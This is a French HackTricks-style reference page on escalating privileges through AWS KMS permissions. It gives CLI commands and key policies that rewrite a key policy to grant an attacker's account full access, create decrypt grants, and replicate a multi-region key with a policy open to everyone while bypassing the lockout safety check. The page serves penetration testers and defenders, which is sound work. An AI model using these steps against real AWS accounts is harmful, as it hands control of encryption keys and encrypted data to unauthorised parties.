# AWS - KMS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## KMS

Pour plus d'informations sur KMS, consultez :

{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}

### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)

Avec ces autorisations, il est possible de **modifier les autorisations d'accès à la clé** afin qu'elle puisse être utilisée par d'autres comptes ou même par n'importe qui :
```bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
```
policy.json:
```json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
```
### `kms:CreateGrant`

Il **permet à un principal d'utiliser une clé KMS :**
```bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
```
> [!WARNING]
> Un grant ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)

> [!WARNING]
> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que le grant a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\
> Cependant, s'il est nécessaire d'utiliser le grant immédiatement [utilisez un token de grant](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\
> Pour [**plus d'infos, lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
```
Notez qu'il est possible de lister les autorisations des clés avec :
```bash
aws kms list-grants --key-id <value>
```
### `kms:CreateKey`, `kms:ReplicateKey`

Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une autre région avec une politique différente.

Ainsi, un attaquant pourrait en abuser pour obtenir un privesc de son accès à la clé et l'utiliser.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
### `kms:Decrypt`

Cette permission permet d'utiliser une clé pour déchiffrer des informations.\
Pour plus d'informations, consultez :

{{#ref}}
../aws-post-exploitation/aws-kms-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
